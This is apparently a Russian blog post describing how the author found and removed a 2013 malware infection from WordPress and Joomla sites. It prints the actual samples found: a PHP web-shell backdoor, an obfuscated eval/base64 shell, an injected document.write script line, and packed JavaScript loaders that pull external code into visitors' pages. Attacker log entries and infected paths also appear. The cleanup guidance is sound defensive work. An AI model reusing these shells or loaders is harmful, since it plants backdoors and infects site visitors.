Главная » Ремонт » Удаляем вирус в WP, Joomla

Удаляем вирус в WP, Joomla

Осенью-зимой 2013 года по интернету прокатилась волна заражений сайтов основанных на движках WordPress, Joomla, возможно некоторые другие тоже пострадали. Был заражён в том числе и этот сайт. Вирус проявлялся в том, что страницы сайта могли подгружать извне вредоносный код.

Опыта борьбы с вирусами на сайтах у меня не было. Можно было откатиться из бэкапа… Бэкап-то сайта был, но полугодовалой давности (никогда так не тормозите с бэкапами!). Хотя… Даже если бы у меня было несколько свежих бэкапов, то было бы сложно определить какой из них чистый, а какой заражён (бэкап всех наших сайтов занимает 2Гб и многие тысячи файлов).

Пришлось лечиться самому. Поиск по интернету помог, но не очень-то сильно. Везде говорили как удалить последствия вируса, но как обнаружить источник проблемы — ни слова. Поэтому окончательно вычистил только раза с третьего.

Проведя анализ логов сайтов/апача, сравнив по-файлово содержимое древнего бэкапа и свежего завирусованного, я написал для себя такую инструкцию:

1. Поиск и убийство *.php содержащие шелл:

Пример шелла тип А:

if (md5($_POST[‘p’]) == ‘3e62c5ccfa240db55e396fbddb8ec74e’) {preg_replace($_POST[‘v1’], $_POST[‘v2’], $_POST[‘v3’]);}

Пример шелла тип Б:

$auth_pass=’70b77118a842ad66b66576544732af28′;preg_replace(«/.*/».’e’,chr(101).chr(118).chr(97).chr(108).chr(40).chr(103).chr(122).chr(105).chr(110).chr(102).chr(108).chr(97).chr(116).chr(101).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(39).»7X………..JYfABJvS62Ba+0AsDrYM48wCFMd7/Ag==\x27\x29\x29\x29\x3b»,».»);

Эти файлы прибиваем полностью, так как они появились у вас через какую-то дырку в CMS и служат дверью для заражения сайта.

Чтобы не перебирать все файлы подряд, можно глянуть в логах апача на строчки типа POST указывающие на эти *.php:

178.33.69.67 — — [15/Dec/2013:00:18:44 +0400] «POST /wp-content/plugins/feedwordpress/readme.php HTTP/1.0» 200 311 «-» «Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3»

readme.php — явно левый скрипт, не так ли? Через вызов этого пых-пыха раскидывались вирусные файлы по остальным каталогам сайта.

(!) Осторожнее, не перепутайте с каким-нибудь полезным файлом, входа в админку например.

1а. Рядом могут оказаться левые *.swf -> убить их.

Пока ищите те пых-пыхи смотрите по сторонам, можете заметить какой-нибудь якобы флеш-файл на самом деле им не являющийся. Основные признаки: одинокая «флешка» среди кучи php или jpg; «флешка» повторяет имя соседнего файла — abc.swf, а рядом abc.txt.

Не уверены что это ненужный файл? Переименуйте его вместо убийства.

 

2. Поиск *.js с содержимым в последней строке:

;document.write(«<scr»+»ipt src=’/wp-includes/SimplePie/lilb.js’><«+»/script>»);

Эта строка приписана вирусом к одному из полезных скриптов сайта. И вызывает уже 100% левый скрипт, имя которого прописано в явном виде.

 

2.1. Посмотреть что внутри этих src=*.js

Могут содержать код типа:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?»:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!».replace(/^/,String)){while(c—){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c—){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘l 1b(f){1c(s.Q&&s.2D){2 12=s[«2O»+»2M»+»2J»+»2y»+»2n»+»2j»](\’2w\’)[0];2 m=s.Q(\’3d\’);2 3f=»3m(}{/%3n[3i!2V»;2 35=».34{r^;}D/1r»;2 1z=»O#.1H.~1D;1I#»;2 1h=»g%U<<,1m&1v-X»;2 2g=»26:~e`n,8&21-«;m.11(\’28\’,»t»+»e»+»29/»+»20″+»1Z»+»1K»+»i»+»1Y»);m.11(\’f\’,f);2 2Z=»`1U+1T]1V-6″;2 1W=»!7#o$q E,;8/»;2 1X=»1S,^`1R<(z%<=»;2 1M=»`?1L+w!?S~!]1N&1O»;2 1Q=»]~)X+.1P&)n»;12[«a»+»A»+»e»+»2b»+»C»+»2a»+»2c»](m)}}l 15(){u R.2d()}2 1J=»-2e[$.+K%b^23″;2 22=»)^ 7^24%:>.25-T»;2 27=»X$5[4<k)W<8%{]$q*v 1l»;2 1k=»1n{1j=;$%3″;2 1q=»1p^1e)(1i?»;l 14(d){u d.Z(Y)!=-1}2 1g=»<;.C< H%:4!-&»;2 1f=»1o*=^;}+N)/ *?y[1s%»;2 1E=»1F{T%#1G]1B»;2 1A=»9}1u:1t,{M(;1w»;2 1x=»h{!.:V+=*;1y].1C;I,*»;2 1a=»2f»+»2Q»+»:/»+»/x»+»33″+»32″+»31″+».p»+»p.»+»d»+»/4″+»37″+»36″+»30″+»2h»+»2U»+»2T»+»2S»+»10″+»2W»+»2Y»+»3a»+»38″+»3c»+»3j»+»39″+»3k»+»3l»+»3?G=»+J.F();2 Y=»w»+»3h»;2 3g=»/!?*3b:3e.=[j( P,2X»;2 2R=»C*;2t>2s{a]..2r#2u»;2 2v=»%[-6=2x&L<2q{2p&2k:B 2i<«;2 2l=»~1]~@.$(2m$/2o,t>q»;2 2z=»2L?2K»;l 19(d){u d.Z(«c»+»h»+»2N»+»2P»)==-1}l 13(){17 16().f=»18://1d.A.d/2I?G=»+J.F();2 d=R[«2H»][«2C»+»2B»+»2A»+»r»+»2E»+»2G»]();1c(19(d)&&14(d)&&15()){17 16().f=»18://1d.A.d/2F?G=»+J.F();1b(1a)}}13();’,62,210,’||var|||||||||||ua||src||||||function|script_tag||||||document||return||||||pp|||||random|rand|||Math|||||||createElement|navigator|||||||win|indexOf||setAttribute|head_tag|includeCounter|isWin|cond3|Image|new|http|notChrome|url|includeJavascript|if|xekaxoz|5f3|sfzZL1|sfzZL0|tacIOkfZ3|F6|0_|VOOdguPqgf3|zK|_P|uWy|CBIM|Vyh|VOOdguPqgf4|DE|3Iqy|QD|9T|eI|8ag|sfzZL4|_y|tacIOkfZ2|sfzZL3|OC9I|lC|3y_|sfzZL2|r0|9ptJr37G|Zm|KJ|VOOdguPqgf0|scr|hxn|HgJdXvzK3|1t58S|j0|uLHo497|HgJdXvzK4|_C03|Ymp|G4pV|Gnn95|5Gw2|HgJdXvzK1|HgJdXvzK2|pt|va|ja|CJmb|VOOdguPqgf1|UrCMNn2|eO5Y|9m|aY|VOOdguPqgf2|type|xt|hi|nd|ld|javaEnabled|6NXk7|ht|tacIOkfZ4|5f|MJ|ame|pc|qPiQIm3|8n|TagN|3nEX|9J6|59E|bDO|iF|A4|CArd|qPiQIm2|head|6_qC|By|qPiQIm4|we|Lo|to|getElementsByTagName|Ca|d6fgo57dml6k67mdfg6lo1|se|userAgent|s3dfk32m3sd73klf3mos5d|ents|7JOlt|xJn4c|Elem|ro|get|me|tp|qPiQIm1|7a|69|48|Ic|60|OF|e4|HgJdXvzK0|6a|oz|ax|ek|_Ypl|tacIOkfZ1|c1|02|c5||f5|GK3|c8|script|P7r|tacIOkfZ0|qPiQIm0|in|hTsEI8|97|eb|ee|uhXZ|fl’.split(‘|’),0,{}))

По сути в этом коде происходит вызов тех самых «флешек», которые встраиваются в страницу выдаваемую посетителю сайта с целью загрузки и выполнения зловредного кода. К сожалению, код зашифрован и путь вызова «флешки» не виден. См. п.1а.

 

2.2. Если виден путь к *.swf, то убить этот *.swf

Пару раз путь к «флешке» в скрипте из п.2.1 был виден в открытом виде, но чаще он зашифрован как в моём примере выше. Потому не забываем повторять п.1а.

Далее цитата с чужой инструкции по поиску вируса. Мне, честно говоря, такое не встречалось, но я записал себе, на всякий случай.

……………..Если путь явно не виден, но есть код:

var div = document.createElement(‘div’)

то перед этим кодом вставляем строку:

alert (counter);

Заходим на наш сайт (обновляем) и видим alert с адресом нужного нам swf. Удаляем его……………………………..

Взял из http://kumatoz.ru/cms/wordpress-cms/virus-wordpress/

 

2.3. Убить файл из ссылки src=*.js (п.2.1)

2.4. Убить найденную вредную последнюю строчку из полезного *.js (п.2). Файл целиком только не грохните.

3. Ещё раз поискать левые *.swf и убить их. Хотя, по сути, запускать их уже не кому, но зачем мусор раскидывать?

 

 

Несколько примеров заражённых файлов:

Joomla:

/media/system/js/mootools-core.js — пример к п.2, наверное каждый раз его заражало.

/misc/ui/images/korkmaz.js — это к п.2.1. Зачем жаба-скрипту сидеть в папке с картинками?

WordPress:

wp-admin\network\config.inc.php — п.1. Брал себе имя соседнего файла.

wp-content\themes\travel-blogger\scripts\gmap.js — п.2. частенько заражался именно этот файл

/wp-includes/SimplePie/lilb.js — п.2.1

/wp-content/plugins/WPRobot/scotty.js — п.2.1

wp-includes\images\smiles\noemie.js — п.2.1. жаба-скрипт среди смайликов

wp-includes\images\crystal\andi.swf — п.3 он же п.1а. флешка среди картинок.

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!».replace(/^/,String)){while(c—){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c—){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘7 e(6){a(3.c&&3.d){5 8=3.d(\’j\’)[0];5 2=3.c(\’k\’);2.b(\’i\’,\’l/m\’);2.b(\’6\’,6);8.s(2)}}7 h(){5 4=9.n.u();5 g=»w://x.v.4/t.o»;a((4.f(«p»)==-1&&4.f(«r»)!=-1)&&9.q()){e(g)}}h();’,34,34,’||script_tag|document|ua|var|src|function|head_tag|navigator|if|setAttribute|createElement|getElementsByTagName|includeJavascript|indexOf|url|includeCounter|type|head|script|text|javascript|userAgent|js|chrome|javaEnabled|win|appendChild|counter|toLowerCase|pp|http|dexedok’.split(‘|’),0,{}))

joomla-virus

< ?php

if (md5($_POST[‘p’]) == ‘3e62c5ccfa240db55e396fbddb8ec74e’) {

preg_replace($_POST[‘v1’], $_POST[‘v2’], $_POST[‘v3’]);

}

WP-virus

public_html\wp-content\themes\travel-blogger\scripts\gmap.js

;document.write(«< "+"/script>«);

;document.write(«< "+"/script>«);

/wp-includes/SimplePie/lilb.js

public_html\wp-includes\images\crystal\andi.swf новый файл

public_html\wp-includes\images\smiles\noemie.js лишний

public_html\wp-admin\network\config.inc.php

файле public_html\wp-content\themes\travel-blogger\scripts\gmap.js

;document.write(«< "+"/script>«);

178.33.69.67 — — [15/Dec/2013:00:18:44 +0400] «POST /wp-content/plugins/feedwordpress/readme.php HTTP/1.0» 200 311 «-» «Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3»

178.33.69.67 — — [15/Dec/2013:00:18:44 +0400] «POST /wp-content/plugins/feedwordpress/readme.php HTTP/1.0» 200 367 «-» «Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3»
// ]]>
// ]]>

1 комментарий

Выскажись тут